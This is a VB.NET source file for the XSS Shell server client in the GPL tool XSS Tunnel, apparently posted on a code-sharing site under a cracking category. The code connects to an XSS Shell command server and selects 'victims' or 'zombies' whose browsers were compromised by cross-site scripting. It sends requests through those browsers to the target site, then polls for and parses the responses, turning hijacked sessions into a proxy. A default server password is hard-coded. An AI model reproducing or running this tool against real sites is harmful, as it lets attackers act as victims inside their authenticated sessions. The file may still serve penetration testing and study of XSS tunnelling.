XSSShell.vb
上传用户:wangting
上传日期:2020-01-24
资源大小:2226k
文件大小:11k
源码类别:

破解

开发平台:

ASP/ASPX

  1. #Region "GPL License"
  2. 'This file is part of XSS Tunnel.
  3. '
  4. 'XSS Tunnel, XSS Tunneling tool 
  5. 'Copyright (C) 2007 Ferruh Mavituna
  6. 'This program is free software; you can redistribute it and/or
  7. 'modify it under the terms of the GNU General Public License
  8. 'as published by the Free Software Foundation; either version 2
  9. 'of the License, or (at your option) any later version.
  10. 'This program is distributed in the hope that it will be useful,
  11. 'but WITHOUT ANY WARRANTY; without even the implied warranty of
  12. 'MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  13. 'GNU General Public License for more details.
  14. 'You should have received a copy of the GNU General Public License
  15. 'along with this program; if not, write to the Free Software
  16. 'Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
  17. #End Region
  18. Imports System.Net
  19. Imports System.Threading
  20. Imports System.Text
  21. ''' <summary>
  22. ''' XSS Shell Server
  23. ''' </summary>
  24. ''' <remarks></remarks>
  25. Public Class XSSShell
  26. #Region "Constants"
  27.     ''' <summary>
  28.     ''' Broadcast for all zombies)
  29.     ''' </summary>
  30.     ''' <remarks></remarks>
  31.     Public Const BroadCastVictim As Integer = 336699
  32.     ''' <summary>
  33.     ''' Default page for getting data
  34.     ''' </summary>
  35.     ''' <remarks></remarks>
  36.     Private Const DefaultDataPage As String = "showdata.asp"
  37.     ''' <summary>
  38.     ''' Default Push Command Page
  39.     ''' </summary>
  40.     ''' <remarks></remarks>
  41.     Private Const DefaultCommandPage As String = "save.asp"
  42.     ''' <summary>
  43.     ''' Default XSS Shell Server Password
  44.     ''' </summary>
  45.     ''' <remarks></remarks>
  46.     Private Const DefaultPassword As String = "w00t"
  47.     ''' <summary>
  48.     ''' Default Command Seperator (so dirty!)
  49.     ''' </summary>
  50.     ''' <remarks></remarks>
  51.     Public Shared CommandSeperator As String = "|,|"
  52. #End Region
  53. #Region "Properties"
  54.     Private _VictimId As Integer = -1
  55.     ''' <summary>
  56.     ''' Controlled Victim 
  57.     ''' </summary>
  58.     ''' <value></value>
  59.     ''' <returns></returns>
  60.     ''' <remarks></remarks>
  61.     Public Property VictimId() As Integer
  62.         Get
  63.             UpdateVictim()
  64.             Return _VictimId
  65.         End Get
  66.         Set(ByVal value As Integer)
  67.             _VictimId = value
  68.         End Set
  69.     End Property
  70.     ''' <summary>
  71.     ''' Update Victim if required
  72.     ''' </summary>
  73.     ''' <remarks></remarks>
  74.     Private Sub UpdateVictim()
  75.         If _VictimId <= 10 Then _VictimId = GetLatestVictim()
  76.     End Sub
  77.     Private _IsVictimAlive As Boolean
  78.     ''' <summary>
  79.     ''' Is Victim Alive ?
  80.     ''' </summary>
  81.     ''' <value></value>
  82.     ''' <returns></returns>
  83.     ''' <remarks></remarks>
  84.     Public Property IsVictimAlive() As Boolean
  85.         Get
  86.             UpdateVictim()
  87.             Return _IsVictimAlive
  88.         End Get
  89.         Set(ByVal value As Boolean)
  90.             _IsVictimAlive = value
  91.         End Set
  92.     End Property
  93.     ''' <summary>
  94.     ''' Get Latest Victim from Server
  95.     ''' </summary>
  96.     ''' <returns></returns>
  97.     ''' <remarks></remarks>
  98.     Private Function GetLatestVictim() As Integer
  99.         Dim victimUri As New Uri(Me.Server, "?c=3&pass=" & Me.Password)
  100.         Dim VictimId As Integer = ReadPageStatus(victimUri)
  101.         Me.IsVictimAlive = (VictimId > 10)
  102.         Return VictimId
  103.     End Function
  104.     ''' <summary>
  105.     ''' Read page and return results as integer
  106.     ''' </summary>
  107.     ''' <param name="uri"></param>
  108.     ''' <returns>-1 if not able to read page otherwise page response</returns>
  109.     ''' <remarks></remarks>
  110.     Private Function ReadPageStatus(ByVal uri As Uri) As Integer
  111.         Dim RetStatus As Integer
  112.         If Not Integer.TryParse(ReadPage(uri), RetStatus) Then
  113.             RetStatus = -1
  114.         End If
  115.         Return RetStatus
  116.     End Function
  117.     Private _ServerData As Uri
  118.     ''' <summary>
  119.     ''' XSS Shell Server Data for Getting Results
  120.     ''' </summary>
  121.     ''' <value></value>
  122.     ''' <returns></returns>
  123.     ''' <remarks></remarks>
  124.     Public Property ServerData() As Uri
  125.         Get
  126.             If _ServerData Is Nothing Then _ServerData = New Uri(Server, DefaultDataPage)
  127.             Return _ServerData
  128.         End Get
  129.         Set(ByVal value As Uri)
  130.             _ServerData = value
  131.         End Set
  132.     End Property
  133.     Private _Server As Uri
  134.     ''' <summary>
  135.     ''' XSS Shell Server Uri
  136.     ''' </summary>
  137.     ''' <value></value>
  138.     ''' <returns></returns>
  139.     ''' <remarks></remarks>
  140.     Public Property Server() As Uri
  141.         Get
  142.             If _Server Is Nothing Then Throw New ArgumentNullException("Server should supplied !")
  143.             Return _Server
  144.         End Get
  145.         Set(ByVal value As Uri)
  146.             _Server = value
  147.         End Set
  148.     End Property
  149.     Private _ServerCommand As Uri
  150.     ''' <summary>
  151.     ''' Page to send commands
  152.     ''' </summary>
  153.     ''' <value></value>
  154.     ''' <returns></returns>
  155.     ''' <remarks></remarks>
  156.     Public Property ServerCommand() As Uri
  157.         Get
  158.             If _ServerCommand Is Nothing Then _ServerCommand = New Uri(Server, DefaultCommandPage)
  159.             Return _ServerCommand
  160.         End Get
  161.         Set(ByVal value As Uri)
  162.             _ServerCommand = value
  163.         End Set
  164.     End Property
  165.     Private _Password As String
  166.     ''' <summary>
  167.     ''' XSS Shell Server Password
  168.     ''' </summary>
  169.     ''' <value></value>
  170.     ''' <returns></returns>
  171.     ''' <remarks></remarks>
  172.     Public Property Password() As String
  173.         Get
  174.             Return _Password
  175.         End Get
  176.         Set(ByVal value As String)
  177.             _Password = value
  178.         End Set
  179.     End Property
  180. #End Region
  181. #Region "Commands"
  182.     ''' <summary>
  183.     ''' Get Uri for GetURL Command with Post Data
  184.     ''' </summary>
  185.     ''' <param name="path">Relative or absolute path to target URL (should be same with XSSed host)</param>
  186.     ''' <param name="postData">Post Data</param>
  187.     ''' <returns></returns>
  188.     ''' <remarks></remarks>
  189.     Private Function NewGetUrlCommand(ByVal path As String, ByVal postData As String) As Uri
  190.         'Add Post Request if exist
  191.         If postData IsNot Nothing Then
  192.             path &= CommandSeperator & postData
  193.         End If
  194.         Dim RetUri As Uri = New Uri(Server, Me.ServerCommand.AbsoluteUri & "?" & GetStandardParameters() & "&c=12&p=" & Web.HttpUtility.UrlEncode(path))
  195.         Return RetUri
  196.     End Function
  197.     ''' <summary>
  198.     ''' Get Uri for GetURL Command
  199.     ''' </summary>
  200.     ''' <param name="path">Relative or absolute path to target URL (should be same with XSSed host)</param>
  201.     ''' <returns></returns>
  202.     ''' <remarks></remarks>
  203.     Private Function NewGetUrlCommand(ByVal path As String) As Uri
  204.         Return NewGetUrlCommand(path, Nothing)
  205.     End Function
  206. #End Region
  207. #Region "Helpers"
  208.     ''' <summary>
  209.     ''' Get standard parameters which will be added to all requests like Password and VictimId
  210.     ''' </summary>
  211.     ''' <returns></returns>
  212.     ''' <remarks></remarks>
  213.     Private Function GetStandardParameters() As String
  214.         Return "pass=" & Me.Password & "&v=" & Me.VictimId.ToString
  215.     End Function
  216.     ''' <summary>
  217.     ''' Read a Web Resource
  218.     ''' </summary>
  219.     ''' <param name="uri"></param>
  220.     ''' <returns>Returns page source if successed else returns Nothing</returns>
  221.     ''' <remarks></remarks>
  222.     Private Shared Function ReadPage(ByVal uri As Uri) As String
  223.         'Debug.WriteLine("Request : " & uri.AbsoluteUri)
  224.         Dim HttpReader As New HttpReader(uri)
  225.         Dim Ret As String = HttpReader.Request()
  226.         Return Ret
  227.     End Function
  228. #End Region
  229. #Region "Proxy Actions"
  230.     ''' <summary>
  231.     ''' Check XSS Shell server working and suitable for XSS Shell Proxy Connections
  232.     ''' </summary>
  233.     ''' <returns></returns>
  234.     ''' <remarks></remarks>
  235.     Public Function CheckServer() As Boolean
  236.         Dim Response As Integer = Me.VictimId
  237.         If Integer.TryParse(ReadPage(New Uri(Server, "?XSSSHELLPROXY=1")), Response) Then
  238.             Return (Response = 13)
  239.         End If
  240.         Return False
  241.     End Function
  242.     ''' <summary>
  243.     ''' Send Request Command and get Response
  244.     ''' </summary>
  245.     ''' <param name="path">Relative or absolute path to target URL (should be same with XSSed host)</param>
  246.     ''' <param name="postData">Post Data</param>
  247.     ''' <returns>HTML Response from target. Nothing if it failed</returns>
  248.     ''' <remarks></remarks>
  249.     Public Function SendGetUriCommand(ByVal path As String, Optional ByVal postData As String = Nothing) As HttpResponse
  250.         Dim SendUri As Uri = NewGetUrlCommand(path, postData)
  251.         Dim XSSShellResponse As String = XSSShell.ReadPage(SendUri)
  252.         Dim AttackId As Integer
  253.         If Not Integer.TryParse(XSSShellResponse, AttackId) Then
  254.             Return Nothing
  255.         End If
  256.         'If it's lower than 10 error
  257.         If AttackId < 10 Then
  258.             Return Nothing
  259.         End If
  260.         'Wait for response
  261.         Return GetResponse(AttackId)
  262.     End Function
  263.     ''' <summary>
  264.     ''' Get Response from XSS Shell Server
  265.     ''' </summary>
  266.     ''' <param name="AttackId">Associated AttackId</param>
  267.     ''' <returns></returns>
  268.     ''' <remarks></remarks>
  269.     Private Function GetResponse(ByVal AttackId As Integer) As HttpResponse
  270.         Dim MaxRetry As Integer = 30
  271.         Dim DataUri As Uri = New Uri(Server, Me.ServerData.AbsoluteUri & "?" & GetStandardParameters() & "&m=2&i=" & AttackId.ToString)
  272.         Dim Response As String
  273.         Do
  274.             Thread.Sleep(1000)
  275.             Response = ReadPage(DataUri)
  276.             MaxRetry -= 1
  277.         Loop While Response = "NO_RECORD" AndAlso MaxRetry > 0
  278.         If MaxRetry = 0 Then
  279.             Debug.WriteLine("ERR: Retry timeout!")
  280.             Return Nothing
  281.         End If
  282.         If Not Response Is Nothing Then
  283.             Response = Web.HttpUtility.UrlDecode(Response)
  284.             'Fix Js Newlines
  285.             Response = Response.Replace(Chr(10), vbNewLine)
  286.             'Content Start Position
  287.             Dim BodyPos As Integer = Response.IndexOf(vbNewLine & vbNewLine)
  288.             'Wrong Response (no content)
  289.             If BodyPos = -1 Then
  290.                 Debug.WriteLine("ERR: There is no double newline for content start")
  291.                 Return Nothing
  292.             End If
  293.             'Generate Http Response
  294.             Dim RawHeaders As String = Response.Substring(0, BodyPos)
  295.             Dim BodyBinary As String = Response.Substring(BodyPos + 6, Response.Length - (BodyPos + 6))
  296.             Dim HttpParser As New HttpParser(RawHeaders, XSSTunnelLib.HttpParser.DecodeBinary(BodyBinary))
  297.             Return HttpParser.HttpResponse
  298.         End If
  299.         Debug.WriteLine("ERR: Response is Nothing")
  300.         Return Nothing
  301.     End Function
  302. #End Region
  303. #Region "Constructors"
  304.     Public Sub New(ByVal server As String, ByVal password As String)
  305.         Me.Server = New Uri(server)
  306.         Me.Password = password
  307.     End Sub
  308. #End Region
  309. End Class